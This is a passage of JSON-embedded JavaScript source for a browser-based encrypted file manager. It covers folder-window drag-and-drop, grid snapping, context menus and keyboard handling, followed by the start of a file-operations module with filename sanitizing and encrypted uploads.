String(i); // 0 = clicked item\n          deskArea.appendChild(ghost);\n          ghostEls.push(ghost);\n        });\n      }\n      if (!escaped) {\n        // Normal inner-window drag\n        this.selection.forEach(id => {\n          const item = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          const sp   = startPosMap[id];\n          if (item && sp) { item.style.left = (sp.x + dx) + 'px'; item.style.top = (sp.y + dy) + 'px'; }\n        });\n      }\n      if (escaped) {\n        // Position ghosts in desktop-area coordinates\n        // Clicked item follows cursor; others preserve relative layout\n        const deskArea = document.getElementById('desktop-area');\n        const deskRect = deskArea.getBoundingClientRect();\n        const baseX = mv.clientX - deskRect.left + deskArea.scrollLeft - clickOffX;\n        const baseY = mv.clientY - deskRect.top  + deskArea.scrollTop  - clickOffY;\n        const mainSp = startPosMap[node.id];\n        ghostEls.forEach(g => {\n          const gid = g.dataset.ghostFor;\n          const sp = startPosMap[gid];\n          const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n          const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n          g.style.left = (baseX + offX) + 'px';\n          g.style.top  = (baseY + offY) + 'px';\n        });\n      }\n      // Highlight drop-target folder (in both window areas and desktop)\n      // Temporarily disable pointer events on dragged items so elementFromPoint can see through them\n      if (!escaped) {\n        this.selection.forEach(id => {\n          const it = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          if (it) it.style.pointerEvents = 'none';\n        });\n      }\n      const target   = document.elementFromPoint(mv.clientX, mv.clientY);\n      if (!escaped) {\n        this.selection.forEach(id => {\n          const it = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          if (it) it.style.pointerEvents = '';\n        });\n      }\n      const folderEl = target?.closest('.file-item[data-id]');\n      const newHover = folderEl && !this.selection.has(folderEl.dataset.id) &&\n                       VFS.node(folderEl.dataset.id)?.type === 'folder' ? folderEl.dataset.id : null;\n      if (newHover !== hoverFolder) {\n        if (hoverFolder) document.querySelectorAll(`.file-item[data-id=\"${hoverFolder}\"]`).forEach(el => el.classList.remove('drag-target'));\n        hoverFolder = newHover;\n        if (hoverFolder) document.querySelectorAll(`.file-item[data-id=\"${hoverFolder}\"]`).forEach(el => el.classList.add('drag-target'));\n      }\n      \n      const fwElt = !hoverFolder ? target?.closest('.folder-window') : null;\n      const curWin = fwElt ? (typeof WinManager !== 'undefined' ? WinManager._wins.find(w => w.el === fwElt) : null) : null;\n      if (curWin !== hoverWin) {\n        winSnapPreviewEls.forEach(p => p.remove()); winSnapPreviewEls = [];\n        hoverWin = curWin;\n      }\n\n      // Snap preview: within window when not escaped, on desktop when escaped\n      if (!escaped && moved) {\n        if (hoverFolder) {\n          snapPreviewEls.forEach(p => p.style.display = 'none');\n        } else {\n          const mainSp = startPosMap[node.id];\n          if (mainSp) {\n            const mainSnapped = _snapFreeCell(mainSp.x + dx, mainSp.y + dy, fwOccupiedAtStart);\n            const selIds = [...this.selection];\n            while (snapPreviewEls.length < selIds.length) {\n              const pEl = document.createElement('div'); pEl.className = 'snap-preview';\n              fwArea.appendChild(pEl); snapPreviewEls.push(pEl);\n            }\n            while (snapPreviewEls.length > selIds.length) { snapPreviewEls.pop().remove(); }\n            selIds.forEach((id, i) => {\n              const sp = startPosMap[id]; if (!sp) return;\n              const offX = Math.round((sp.x - mainSp.x) / GRID_X) * GRID_X;\n              const offY = Math.round((sp.y - mainSp.y) / GRID_Y) * GRID_Y;\n              snapPreviewEls[i].style.left = (mainSnapped.x + offX) + 'px';\n              snapPreviewEls[i].style.top  = (mainSnapped.y + offY) + 'px';\n              snapPreviewEls[i].style.display = '';\n            });\n          }\n        }\n      } else if (escaped && moved) {\n        // Show snap preview on desktop while dragging out of window\n        snapPreviewEls.forEach(p => p.style.display = 'none');\n        if (hoverFolder) {\n          deskSnapPreviewEls.forEach(p => p.style.display = 'none');\n          winSnapPreviewEls.forEach(p => p.style.display = 'none');\n        } else if (hoverWin && hoverWin !== this) {\n          deskSnapPreviewEls.forEach(p => p.style.display = 'none');\n          const winArea = hoverWin.el.querySelector('.fw-area');\n          const winRect = winArea.getBoundingClientRect();\n          const dropX   = mv.clientX - winRect.left + winArea.scrollLeft - clickOffX;\n          const dropY   = mv.clientY - winRect.top  + winArea.scrollTop - clickOffY;\n          const winOcc  = new Map();\n          VFS.children(hoverWin.folderId).forEach(n => {\n            const p = VFS.getPos(hoverWin.folderId, n.id);\n            if (p) winOcc.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n          });\n          const selIds = [...this.selection];\n          while (winSnapPreviewEls.length < selIds.length) {\n            const pEl = document.createElement('div'); pEl.className = 'snap-preview';\n            winArea.appendChild(pEl); winSnapPreviewEls.push(pEl);\n          }\n          while (winSnapPreviewEls.length > selIds.length) { winSnapPreviewEls.pop().remove(); }\n          const snapOcc = new Map(winOcc);\n          const mainSp = startPosMap[node.id];\n          selIds.forEach((id, i) => {\n            const sp = startPosMap[id];\n            const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n            const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n            const snapped = _snapFreeCell(dropX + offX, dropY + offY, snapOcc);\n            const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n            snapOcc.set(`${cx}_${cy}`, id);\n            winSnapPreviewEls[i].style.left = snapped.x + 'px';\n            winSnapPreviewEls[i].style.top  = snapped.y + 'px';\n            winSnapPreviewEls[i].style.display = '';\n          });\n        } else {\n          winSnapPreviewEls.forEach(p => p.style.display = 'none');\n          const deskArea = document.getElementById('desktop-area');\n          const deskRect = deskArea.getBoundingClientRect();\n          const baseDropX = mv.clientX - deskRect.left + deskArea.scrollLeft - clickOffX;\n          const baseDropY = mv.clientY - deskRect.top  + deskArea.scrollTop  - clickOffY;\n          const _deskFidSnap = Desktop._desktopFolder;\n          const deskOcc = new Map();\n          VFS.children(_deskFidSnap).forEach(n => {\n            const p = VFS.getPos(_deskFidSnap, n.id);\n            if (p) deskOcc.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n          });\n          // Each item gets its own nearest free cell sequentially based on relative distance\n          const selIds = [...this.selection];\n          while (deskSnapPreviewEls.length < selIds.length) {\n            const pEl = document.createElement('div'); pEl.className = 'snap-preview';\n            deskArea.appendChild(pEl); deskSnapPreviewEls.push(pEl);\n          }\n          while (deskSnapPreviewEls.length > selIds.length) { deskSnapPreviewEls.pop().remove(); }\n          const tempOcc = new Map(deskOcc);\n          const mainSp = startPosMap[node.id];\n          selIds.forEach((id, i) => {\n            const sp = startPosMap[id];\n            const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n            const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n            const snapped = _snapFreeCell(\n              baseDropX + offX,\n              baseDropY + offY,\n              tempOcc\n            );\n            deskSnapPreviewEls[i].style.left = snapped.x + 'px';\n            deskSnapPreviewEls[i].style.top  = snapped.y + 'px';\n            deskSnapPreviewEls[i].style.display = '';\n            // Mark cell as occupied so next item doesn't overlap\n            const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n            tempOcc.set(`${cx}_${cy}`, id);\n          });\n        }\n      }\n    };\n\n    const onUp = async () => {\n      document.removeEventListener('mousemove', onMove);\n      document.removeEventListener('mouseup',   onUp);\n      _isDragging = false;\n      snapPreviewEls.forEach(p => p.remove()); snapPreviewEls = [];\n      deskSnapPreviewEls.forEach(p => p.remove()); deskSnapPreviewEls = [];\n      winSnapPreviewEls.forEach(p => p.remove()); winSnapPreviewEls = [];\n      if (hoverFolder) document.querySelectorAll(`.file-item[data-id=\"${hoverFolder}\"]`).forEach(el => el.classList.remove('drag-target'));\n      // Remove ghosts\n      ghostEls.forEach(g => g.remove());\n      ghostEls = [];\n\n      if (!moved) {\n        // Restore visibility on no-move (just a click)\n        this.selection.forEach(id => {\n          const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          if (orig) orig.style.visibility = '';\n        });\n        return;\n      }\n\n      const isChangingFolder = escaped;\n      let blocked = null;\n      if (isChangingFolder && typeof WinManager !== 'undefined') {\n        const dropT = document.elementFromPoint(_lastFwDragX, _lastFwDragY);\n        const tfw = dropT?.closest('.folder-window');\n        const tw = tfw ? WinManager._wins.find(w => w.el === tfw) : null;\n        const srcRect = fwRect();\n        const actuallyEscaped = !(_lastFwDragX >= srcRect.left && _lastFwDragX <= srcRect.right && _lastFwDragY >= srcRect.top && _lastFwDragY <= srcRect.bottom);\n        \n        // If it really escaped and not just dropped back into the same folder window\n        if (actuallyEscaped && !(tw === this)) {\n          const openFolderIds = new Set();\n          WinManager._wins.forEach(w => {\n            let cur = w.folderId;\n            while (cur && cur !== 'root') { openFolderIds.add(cur); cur = (VFS.node(cur) || {}).parentId; }\n          });\n          // Determine drop target to avoid pre-empting cycle errors\n          const _targetFId2 = tw ? tw.folderId : null;\n          blocked = Array.from(this.selection).find(id => {\n            const n = VFS.node(id);\n            if (!n || n.type !== 'folder' || !openFolderIds.has(id)) return false;\n            if (_targetFId2 && VFS.wouldCycle(id, _targetFId2)) return false;\n            return true;\n          });\n        }\n      }\n\n      if (blocked) {\n        this.selection.forEach(id => {\n          const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          const sp   = startPosMap[id];\n          if (orig) {\n            orig.style.visibility = '';\n            if (sp && !escaped) {\n              orig.style.transition = 'left 0.12s ease, top 0.12s ease';\n              orig.style.left = sp.x + 'px'; orig.style.top = sp.y + 'px';\n              setTimeout(() => { if (orig.parentNode) orig.style.transition = ''; }, 150);\n            }\n          }\n        });\n        toast(`“${VFS.node(blocked)?.name}” is open in Explorer — close the window first`, 'error');\n        return;\n      }\n\n      if (escaped) {\n        // Re-validate: if cursor ended inside source window, cancel drop (race between mouseup/mousemove)\n        const srcR = fwRect();\n        if (_lastFwDragX >= srcR.left && _lastFwDragX <= srcR.right &&\n            _lastFwDragY >= srcR.top  && _lastFwDragY <= srcR.bottom) {\n          this.selection.forEach(id => {\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) orig.style.visibility = '';\n          });\n          return;\n        }\n        // Dropped outside this window\n        const dropTarget = document.elementFromPoint(_lastFwDragX, _lastFwDragY);\n        const targetFw   = dropTarget?.closest('.folder-window');\n        const targetWin  = targetFw ? WinManager._wins.find(w => w.el === targetFw) : null;\n\n        if (targetWin && targetWin !== this) {\n          // Drop into another folder window\n          const targetArea = targetWin.el.querySelector('.fw-area');\n          const tRect      = targetArea.getBoundingClientRect();\n          const dropPosX   = _lastFwDragX - tRect.left + targetArea.scrollLeft - clickOffX;\n          const dropPosY   = _lastFwDragY - tRect.top  + targetArea.scrollTop  - clickOffY;\n          const occupied   = new Map();\n          VFS.children(targetWin.folderId).forEach(n => {\n            const p = VFS.getPos(targetWin.folderId, n.id);\n            if (p) occupied.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n          });\n          // Each item gets its own nearest free cell sequentially based on relative distance\n          const selIds2 = [...this.selection];\n          const movedIds = [];\n          const mainSp = startPosMap[node.id];\n          selIds2.forEach((id, i) => {\n            const n = VFS.node(id); if (!n) return;\n            const result = VFS.move(id, targetWin.folderId);\n            if (result === 'duplicate') { toast(`\"${n.name}\" already exists in target folder`, 'error'); return; }\n            if (result === 'cycle')     { toast(`Cannot move \"${n.name}\" into itself or a subfolder`, 'error'); return; }\n            if (result !== 'ok')        { return; }\n            const sp = startPosMap[id];\n            const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n            const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n            const snapped = _snapFreeCell(\n              dropPosX + offX,\n              dropPosY + offY,\n              occupied\n            );\n            VFS.setPos(targetWin.folderId, id, snapped.x, snapped.y);\n            const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n            occupied.set(`${cx}_${cy}`, id);\n            movedIds.push(id);\n          });\n          // Remove moved items from source window DOM (no full re-render = no flash)\n          targetWin.selection.clear();\n          movedIds.forEach(id => {\n            this.selection.delete(id);\n            targetWin.selection.add(id);\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) orig.remove();\n          });\n          // Restore visibility for items that failed to move (duplicates)\n          this.selection.forEach(id => {\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) orig.style.visibility = '';\n          });\n          this._updateStatus();\n          await saveVFS();\n          targetWin.render();\n        } else if (hoverFolder) {\n          // Drop onto a folder icon\n          const movedIds = [];\n          this.selection.forEach(id => {\n            if (id === hoverFolder) return;\n            const n = VFS.node(id); if (!n) return;\n            const result = VFS.move(id, hoverFolder);\n            if (result === 'duplicate') { toast(`\"${n.name}\" already exists in \"${VFS.node(hoverFolder)?.name}\"`, 'error'); return; }\n            if (result === 'cycle')     { toast(`Cannot move \"${n.name}\" into itself or a subfolder`, 'error'); return; }\n            if (result !== 'ok')        { return; }\n            movedIds.push(id);\n          });\n          const targetWinForFolder = typeof WinManager !== 'undefined' ? WinManager._wins.find(w => w.folderId === hoverFolder) : null;\n          if (targetWinForFolder) targetWinForFolder.selection.clear();\n          movedIds.forEach(id => {\n            this.selection.delete(id);\n            if (targetWinForFolder) targetWinForFolder.selection.add(id);\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) orig.remove();\n          });\n          this.selection.forEach(id => {\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) orig.style.visibility = '';\n          });\n          this._updateStatus();\n          await saveVFS();\n          if (typeof WinManager !== 'undefined') WinManager.renderAll();\n        } else {\n          // Drop onto desktop\n          const deskArea = document.getElementById('desktop-area');\n          const deskRect = deskArea.getBoundingClientRect();\n          const dropPosX = _lastFwDragX - deskRect.left + deskArea.scrollLeft - clickOffX;\n          const dropPosY = _lastFwDragY - deskRect.top  + deskArea.scrollTop  - clickOffY;\n          const deskFid  = Desktop._desktopFolder;\n          const occupied = new Map();\n          VFS.children(deskFid).forEach(n => {\n            const p = VFS.getPos(deskFid, n.id);\n            if (p) occupied.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n          });\n          // Each item gets its own nearest free cell sequentially based on relative distance\n          const selIds = [...this.selection];\n          const movedIds = [];\n          const mainSp = startPosMap[node.id];\n          selIds.forEach((id, i) => {\n            const n = VFS.node(id); if (!n) return;\n            const result = VFS.move(id, deskFid);\n            if (result === 'duplicate') { toast(`\"${n.name}\" already exists on desktop`, 'error'); return; }\n            if (result === 'cycle')     { toast(`Cannot move \"${n.name}\" into itself or a subfolder`, 'error'); return; }\n            const sp = startPosMap[id];\n            const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n            const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n            const snapped = _snapFreeCell(\n              dropPosX + offX,\n              dropPosY + offY,\n              occupied\n            );\n            VFS.setPos(deskFid, id, snapped.x, snapped.y);\n            const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n            occupied.set(`${cx}_${cy}`, id);\n            movedIds.push(id);\n          });\n          movedIds.forEach(id => {\n            this.selection.delete(id);\n            Desktop._sel.add(id);\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) orig.remove();\n          });\n          // Restore visibility & snap back items that failed (duplicate/cycle)\n          this.selection.forEach(id => {\n            const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n            if (orig) {\n              orig.style.visibility = '';\n              const sp = startPosMap[id];\n              if (sp) {\n                orig.style.transition = 'left 0.15s ease, top 0.15s ease';\n                orig.style.left = sp.x + 'px'; orig.style.top = sp.y + 'px';\n                setTimeout(() => { if (orig.parentNode) orig.style.transition = ''; }, 160);\n              }\n            }\n          });\n          this._updateStatus();\n          await saveVFS();\n          Desktop._patchIcons();\n        }\n        return;\n      }\n\n      // Restore visibility (non-escaped path)\n      this.selection.forEach(id => {\n        const orig = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n        if (orig) orig.style.visibility = '';\n      });\n\n      // Normal within-window drop\n      if (hoverFolder) {\n        const movedIds = [];\n        this.selection.forEach(id => {\n          if (id === hoverFolder) return;\n          const n = VFS.node(id); if (!n) return;\n          const result = VFS.move(id, hoverFolder);\n          if (result === 'duplicate') { toast(`\"${n.name}\" already exists in \"${VFS.node(hoverFolder)?.name}\"`, 'error'); return; }\n          if (result === 'cycle')     { toast(`Cannot move \"${n.name}\" into itself or a subfolder`, 'error'); return; }\n          if (result !== 'ok')        { return; }\n          movedIds.push(id);\n        });\n        // Snap items that failed to move back to their VFS positions\n        this.selection.forEach(id => {\n          const item = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          const pos  = VFS.getPos(this.folderId, id);\n          if (item && pos) {\n            item.style.transition = 'left 0.12s ease, top 0.12s ease';\n            item.style.left = pos.x + 'px'; item.style.top = pos.y + 'px';\n            setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n          }\n        });\n        movedIds.forEach(id => { this.selection.delete(id); });\n        await saveVFS();\n        this.render();\n        if (typeof WinManager !== 'undefined') WinManager.renderAll();\n      } else {\n        // Grid snap\n        const occupied = new Map();\n        VFS.children(this.folderId).forEach(n => {\n          if (this.selection.has(n.id)) return;\n          const p = VFS.getPos(this.folderId, n.id);\n          if (p) occupied.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n        });\n        this.selection.forEach(id => {\n          const item = fwArea.querySelector(`.file-item[data-id=\"${id}\"]`);\n          if (!item) return;\n          const rawX = parseInt(item.style.left), rawY = parseInt(item.style.top);\n          const snapped = _snapFreeCell(rawX, rawY, occupied);\n          const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n          occupied.set(`${cx}_${cy}`, id);\n          item.style.transition = 'left 0.12s ease, top 0.12s ease';\n          item.style.left = snapped.x + 'px'; item.style.top = snapped.y + 'px';\n          setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n          VFS.setPos(this.folderId, id, snapped.x, snapped.y);\n        });\n        await saveVFS();\n      }\n    };\n\n    // Track last mouse position for use in onUp\n    let _lastFwDragX = e.clientX, _lastFwDragY = e.clientY;\n    const _trackMove = mv => { _lastFwDragX = mv.clientX; _lastFwDragY = mv.clientY; };\n    const origOnMove = onMove;\n    const wrappedOnMove = mv => { _trackMove(mv); origOnMove(mv); };\n\n    document.addEventListener('mousemove', wrappedOnMove);\n    document.addEventListener('mouseup', function cleanup(ev) {\n      document.removeEventListener('mousemove', wrappedOnMove);\n      document.removeEventListener('mouseup', cleanup);\n      // Update last position from mouseup event\n      _lastFwDragX = ev.clientX; _lastFwDragY = ev.clientY;\n      onUp();\n    });\n  }\n\n  /* ---- OPEN NODE: default = navigate within window ---- */\n  _openNode(node) {\n    hideCtxMenu();\n    if (node.type === 'folder') {\n      // Auto-cancel cut if navigating into a cut folder\n      if (App.clipboard?.op === 'cut') {\n        const cutIds = new Set(App.clipboard.ids);\n        let cur = node.id;\n        while (cur && cur !== 'root') {\n          if (cutIds.has(cur)) { cancelClipboard(); break; }\n          cur = (VFS.node(cur) || {}).parentId;\n        }\n      }\n      this.folderId = node.id; this.selection.clear(); this.render();\n    } else {\n      openFile(node);\n    }\n  }\n\n  /* ---- RUBBER BAND selection ---- */\n  _startRubberBand(e) {\n    const area = this.el.querySelector('.fw-area');\n    const rect = area.getBoundingClientRect();\n    const sx   = e.clientX - rect.left + area.scrollLeft;\n    const sy   = e.clientY - rect.top  + area.scrollTop;\n    const band = document.createElement('div');\n    band.className = 'rubberband';\n    band.style.cssText = `left:${sx}px;top:${sy}px;width:0;height:0`;\n    area.appendChild(band);\n    const onMove = mv => {\n      const cx = mv.clientX - rect.left + area.scrollLeft;\n      const cy = mv.clientY - rect.top  + area.scrollTop;\n      const x = Math.min(sx, cx), y = Math.min(sy, cy), w = Math.abs(cx - sx), h = Math.abs(cy - sy);\n      band.style.cssText = `left:${x}px;top:${y}px;width:${w}px;height:${h}px`;\n      area.querySelectorAll('.file-item').forEach(item => {\n        const ix = parseInt(item.style.left), iy = parseInt(item.style.top);\n        const hit = ix < x+w && ix+ICON_W > x && iy < y+h && iy+ICON_H > y;\n        if (hit) { this.selection.add(item.dataset.id); item.classList.add('selected'); }\n        else if (!e.ctrlKey) { this.selection.delete(item.dataset.id); item.classList.remove('selected'); }\n      });\n      this._updateStatus();\n    };\n    const onUp = () => { band.remove(); document.removeEventListener('mousemove', onMove); document.removeEventListener('mouseup', onUp); };\n    document.addEventListener('mousemove', onMove);\n    document.addEventListener('mouseup',   onUp);\n  }\n\n  /* ---- CONTEXT MENUS ---- */\n  _ctxDesktop(e) {\n    this.selection.clear();\n    this.el.querySelectorAll('.file-item.selected').forEach(i => i.classList.remove('selected'));\n    this._updateStatus();\n    const items = [\n      { label: 'New Text File',   icon: Icons.newfile,   action: () => { this._setCtx(); App._ctxScreenPos = { x: e.clientX, y: e.clientY }; newTextFile(); } },\n      { label: 'New Folder',      icon: Icons.newfolder, action: () => { this._setCtx(); App._ctxScreenPos = { x: e.clientX, y: e.clientY }; newFolder(); } },\n      { sep: true },\n      { label: 'Import Files...', icon: Icons.upload,    action: () => { this._setCtx(); document.getElementById('file-input').click(); } },\n    ];\n    if (App.clipboard) {\n      items.push({ sep: true });\n      items.push({ label: 'Paste', icon: Icons.paste, action: () => { this._setCtx(); pasteItems(); } });\n    }\n    const self = this;\n    const sortSub = [\n      { label: 'By Name', icon: Icons.sortName, submenu: [\n        { label: 'A → Z',  icon: Icons.sortAsc,  action: () => sortIcons('name',  'asc',  self) },\n        { label: 'Z → A',  icon: Icons.sortDesc, action: () => sortIcons('name',  'desc', self) },\n      ]},\n      { label: 'By Date Modified', icon: Icons.sortDate, submenu: [\n        { label: 'Newest first', icon: Icons.sortDesc, action: () => sortIcons('mtime', 'desc', self) },\n        { label: 'Oldest first', icon: Icons.sortAsc,  action: () => sortIcons('mtime', 'asc',  self) },\n      ]},\n      { label: 'By Date Created', icon: Icons.sortDate, submenu: [\n        { label: 'Newest first', icon: Icons.sortDesc, action: () => sortIcons('ctime', 'desc', self) },\n        { label: 'Oldest first', icon: Icons.sortAsc,  action: () => sortIcons('ctime', 'asc',  self) },\n      ]},\n      { sep: true },\n      { label: 'By Size', icon: Icons.sortSize, submenu: [\n        { label: 'Largest first',  icon: Icons.sortDesc, action: () => sortIcons('size',  'desc', self) },\n        { label: 'Smallest first', icon: Icons.sortAsc,  action: () => sortIcons('size',  'asc',  self) },\n      ]},\n      { sep: true },\n      { label: 'By Type', icon: Icons.sortType, action: () => sortIcons('type',  'asc',  self) },\n    ];\n    items.push({ sep: true });\n    items.push({ label: 'Sort', icon: Icons.sort, submenu: sortSub });\n    items.push({ sep: true });\n    items.push({ label: 'Refresh', icon: Icons.refresh, action: () => this.render() });\n    showCtxMenu(e.clientX, e.clientY, items);\n  }\n\n  _ctxIcon(e, node) {\n    if (!e.ctrlKey && !e.metaKey && !this.selection.has(node.id)) {\n      this.selection.clear();\n      this.el.querySelectorAll('.file-item.selected').forEach(i => i.classList.remove('selected'));\n    }\n    this.selection.add(node.id);\n    this.el.querySelector(`.file-item[data-id=\"${node.id}\"]`)?.classList.add('selected');\n    this._updateStatus();\n    const items = [];\n    if (node.type === 'folder') {\n      items.push({ label: 'Open',               icon: Icons.open,      action: () => this._openNode(node) });\n      items.push({ label: 'Open in New Window', icon: Icons.newfolder, action: () => WinManager.open(node.id) });\n      const self = this;\n      items.push({ label: 'Folder Color', icon: Icons.folder, submenu: FOLDER_COLORS.map(fc => ({\n        label: fc.label,\n        icon: `<span style=\"display:inline-block;width:12px;height:12px;border-radius:2px;background:${fc.color}\"></span>`,\n        action: async () => { node.color = fc.color === '#0078d4' ? undefined : fc.color; await saveVFS(); self.render(); }\n      }))});\n    } else {\n      items.push({ label: 'Open',               icon: Icons.file,   action: () => openFile(node) });\n      items.push({ label: 'Edit as plain text', icon: Icons.rename, action: () => openFileAsText(node) });\n      items.push({ label: 'Export',             icon: Icons.download, action: () => downloadFile(node) });\n    }\n    items.push({ label: 'Export as ZIP', icon: Icons.download, action: () => this._withCtxSync(() => exportAsZip([...this.selection])) });\n    items.push({ sep: true });\n    items.push({ label: 'Cut',  icon: Icons.cut,  action: () => this._withCtxSync(() => cutItems()) });\n    items.push({ sep: true });\n    items.push({ label: 'Rename', icon: Icons.rename, action: () => renameNode(node) });\n    items.push({ sep: true });\n    const sz = this.selection.size;\n    items.push({ label: sz > 1 ? `Delete ${sz} items` : 'Delete', icon: Icons.trash, danger: true,\n                 action: () => { this._setCtx(); deleteSelected(); } });\n    items.push({ sep: true });\n    items.push({ label: 'Properties', icon: Icons.info, action: () => showProps(node) });\n    showCtxMenu(e.clientX, e.clientY, items);\n  }\n\n  /* ---- RESIZE HANDLE ---- */\n  _addResizeHandle() {\n    const handle = this.el.querySelector('.fw-resize-handle');\n    if (!handle) return;\n    handle.addEventListener('mousedown', e => {\n      if (e.button !== 0) return;\n      e.preventDefault(); e.stopPropagation();\n      const startX = e.clientX, startY = e.clientY;\n      const startW = this.el.offsetWidth, startH = this.el.offsetHeight;\n      const onMove = mv => {\n        this.el.style.width  = Math.max(420, Math.min(1400, startW + mv.clientX - startX)) + 'px';\n        this.el.style.height = Math.max(260, Math.min(900,  startH + mv.clientY - startY)) + 'px';\n      };\n      const onUp = () => { document.removeEventListener('mousemove', onMove); document.removeEventListener('mouseup', onUp); };\n      document.addEventListener('mousemove', onMove);\n      document.addEventListener('mouseup',   onUp);\n    });\n  }\n\n  /* ---- STATUS BAR & KEYBOARD ---- */\n  _updateStatus() {\n    const count = VFS.children(this.folderId).length;\n    const sel   = this.selection.size;\n    this.el.querySelector('.fw-status-text').textContent =\n      sel > 0 ? `${sel} of ${count} selected` : `${count} item${count !== 1 ? 's' : ''}`;\n  }\n\n  _onKey(e) {\n    if (['Delete', 'Backspace'].includes(e.key) && this.selection.size > 0) {\n      this._setCtx(); deleteSelected();\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyC' && this.selection.size > 0) {\n      this._withCtxSync(() => copyItems());\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyX' && this.selection.size > 0) {\n      this._withCtxSync(() => cutItems());\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyV') {\n      this._setCtx(); pasteItems();\n    } else if ((e.ctrlKey || e.metaKey) && e.code === 'KeyA') {\n      VFS.children(this.folderId).forEach(n => {\n        this.selection.add(n.id);\n        const el = this.el.querySelector(`.file-item[data-id=\"${n.id}\"]`);\n        if (el) el.classList.add('selected');\n      });\n      this._updateStatus();\n    } else if (e.key === 'Escape') {\n      if (App.clipboard?.op === 'cut') cancelClipboard();\n      this.selection.clear();\n      this.el.querySelectorAll('.file-item.selected').forEach(i => i.classList.remove('selected'));\n      this._updateStatus();\n    } else if (e.key === 'F2' && this.selection.size === 1) {\n      renameNode(VFS.node([...this.selection][0]));\n    } else if (e.key === 'F5') {\n      e.preventDefault();\n      this.render();\n      this.el.querySelector('.fw-area')?.focus();\n    } else if (e.key === 'Backspace') {\n      const n = VFS.node(this.folderId);\n      if (n && n.parentId && n.parentId !== 'root') { this.folderId = n.parentId; this.selection.clear(); this.render(); }\n    }\n  }\n}\n"
  },
  {
    "path": "safenova/js/fileops.js",
    "content": "'use strict';\n\n/* ============================================================\n   FILENAME SANITIZATION\n   ============================================================ */\nfunction sanitizeFilename(name) {\n  // Strip null bytes, path separators, and prevent . / .. as names\n  const s = (name || 'unnamed')\n    .replace(/[\\x00-\\x1f\\\\/]/g, '_')\n    .trim();\n  return /^\\.{1,2}$/.test(s) || s === '' ? 'unnamed' : s;\n}\n\n/* ============================================================\n   UPLOAD FILES  (from OS drag-drop or file picker — flat list)\n   ============================================================ */\nasync function uploadFiles(files) {\n  if (!App.key || !App.container) return;\n  if (!files || !files.length) return;\n\n  // Container size check\n  const remaining = CONTAINER_LIMIT - VFS.totalSize();\n  let totalNew = 0;\n  for (const f of files) totalNew += f.size;\n  if (totalNew > remaining) {\n    toast(`Not enough space in container. Need ${fmtSize(totalNew)}, have ${fmtSize(remaining)}`, 'error');\n    return;\n  }\n\n  // Device storage check\n  const spCheck = await checkStorageSpace(totalNew * 1.1); // +10% for encryption overhead\n  if (!spCheck.ok) {\n    toast(\n      `Not enough device storage. Need ~${fmtSize(totalNew)}, only ${fmtSize(spCheck.available)} free.`,\n      'error'\n    );\n    return;\n  }\n\n  showLoading(`Encrypting ${files.length} file${files.length > 1 ? 's' : ''}...`);\n  let ok = 0;\n  for (const f of files) {\n    try {\n      const name = sanitizeFilename(f.name);\n      const buf  = await f.arrayBuffer();\n      const mime = f.type || getMime(name);\n      const { iv, blob } = await Crypto.encryptBin(App.key, buf);\n      const nodeId = uid();\n      VFS.add({ id: nodeId, type: 'file', name, mime, size: f.size,\n                parentId: App.folder, ctime: Date.now(), mtime: Date.now() });\n      await DB.saveFile({ id: nodeId, cid: App.container.id, iv: Array.from(iv), blob });\n      ok++;\n    } catch (e) { console.error('upload error', e); toast('Failed to encrypt: ' + f.name, 'error'); }\n  }\n  await saveVFS();\n  Desktop._patchIcons();\n  hideLoading();\n  if (ok > 0) toast(`${ok} file${ok > 1 ? 's' : ''} imported`, 'success');\n}\n\n/* ============================================================\n   UPLOAD ENTRIES  (from OS drag-drop — supports folders)\n   Handles DataTransferItemList containing files AND directories.\n   ============================================================ */\n\n// Read all entries from a FileSystemDirectoryReader.\n// The API only returns up 